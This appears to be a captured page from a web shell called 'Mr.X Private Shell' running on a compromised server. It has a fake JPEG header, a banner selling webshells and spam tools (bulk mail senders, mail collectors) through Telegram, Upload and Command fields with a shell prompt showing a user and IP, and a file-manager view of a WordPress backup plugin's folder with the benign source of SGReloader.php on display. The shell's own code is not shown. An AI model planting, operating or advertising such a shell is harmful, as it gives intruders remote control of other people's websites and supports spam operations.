����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

bkunreyz@216.73.217.13: ~ $
<?php

require_once(SG_BACKUP_PATH.'SGBackup.php');
require_once(SG_LIB_PATH.'SGReloaderState.php');
require_once(SG_LIB_PATH.'SGReloadHandler.php');
require_once(SG_LIB_PATH.'SGCallback.php');

class SGReloader
{
	public static function awake($method = null)
	{
		$reloaderState = SGReloaderState::loadState();
		if ($reloaderState['callback'] != "" && $reloaderState['state'] == SG_RELOADER_STATUS_IDLE) {

			$callbackJson = json_decode($reloaderState['callback']);
			$callbackJson->params['method'] = $method;
			$callback = new SGCallback($callbackJson->class, $callbackJson->method, $callbackJson->params);

			if ($callback->canPerform()) {
				self::saveState('', SG_RELOADER_STATUS_RUNNING);
				$callback->perform();
			}
		}

		return;
	}

	private static function saveState($callback, $state = SG_RELOADER_STATUS_IDLE)
	{
		$sgReloaderState = new SGReloaderState();
		$sgReloaderState->setCallback($callback);
		$sgReloaderState->setState($state);
		$sgReloaderState->update();
	}

	public static function didCompleteCallback()
	{
		self::saveState('', SG_RELOADER_STATUS_IDLE);
	}

	public static function registerCallback(SGCallback $callback)
	{
		self::saveState((string)$callback);
	}

	public static function reset()
	{
		SGReloaderState::reset();
	}

	public static function reloadWithAjaxUrl($awakeURL)
	{
		//external restore works only with ajax requests
		if (defined('BG_EXTERNAL_RESTORE_RUNNING') && BG_EXTERNAL_RESTORE_RUNNING) {
			return;
		}

		@ob_end_clean();
		@session_write_close();

		// awake frequency in miliseconds
		$sgAwakeFrequency = SGConfig::get('SG_AJAX_REQUEST_FREQUENCY')?SGConfig::get('SG_AJAX_REQUEST_FREQUENCY'):SG_AJAX_DEFAULT_REQUEST_FREQUENCY;
		$sgAwakeFrequency = $sgAwakeFrequency/1000; // awake frequency in seconds

		// add 3 seconds to awake frequency
		$timeout = $sgAwakeFrequency + 3;
		while ($timeout) {

			$reloaderState = SGReloaderState::loadState();
			$state = $reloaderState['state'];

			if ($state == SG_RELOADER_STATUS_RUNNING) {
				return;
			}

			sleep(1);
			$timeout--;
		}

		self::reload($awakeURL);
	}

	private static function reload($awakeURL)
	{
		$sgReloadHandler = new SGReloadHandler($awakeURL);
		$sgReloadHandler->reload();
		return;
	}
}

Filemanager

Name Type Size Permission Actions
BackupGuard Folder 0755
Dropbox Folder 0755
Request Folder 0755
SGArchive.php File 21.39 KB 0644
SGAuthClient.php File 6.68 KB 0644
SGCallback.php File 870 B 0644
SGCdrEntry.php File 1.01 KB 0644
SGCharsetHandler.php File 2.37 KB 0644
SGDBState.php File 2.95 KB 0644
SGEntry.php File 155 B 0644
SGFileEntry.php File 917 B 0644
SGFileState.php File 4.42 KB 0644
SGMigrateState.php File 1.17 KB 0644
SGMysqldump.php File 45.07 KB 0644
SGReloadHandler.php File 804 B 0644
SGReloader.php File 2.27 KB 0644
SGReloaderState.php File 1.2 KB 0644
SGReviewManager.php File 12.04 KB 0644
SGState.php File 3.21 KB 0644
SGStatsRequests.php File 1.81 KB 0644
SGUploadHandler.php File 905 B 0644
SGUploadState.php File 4.04 KB 0644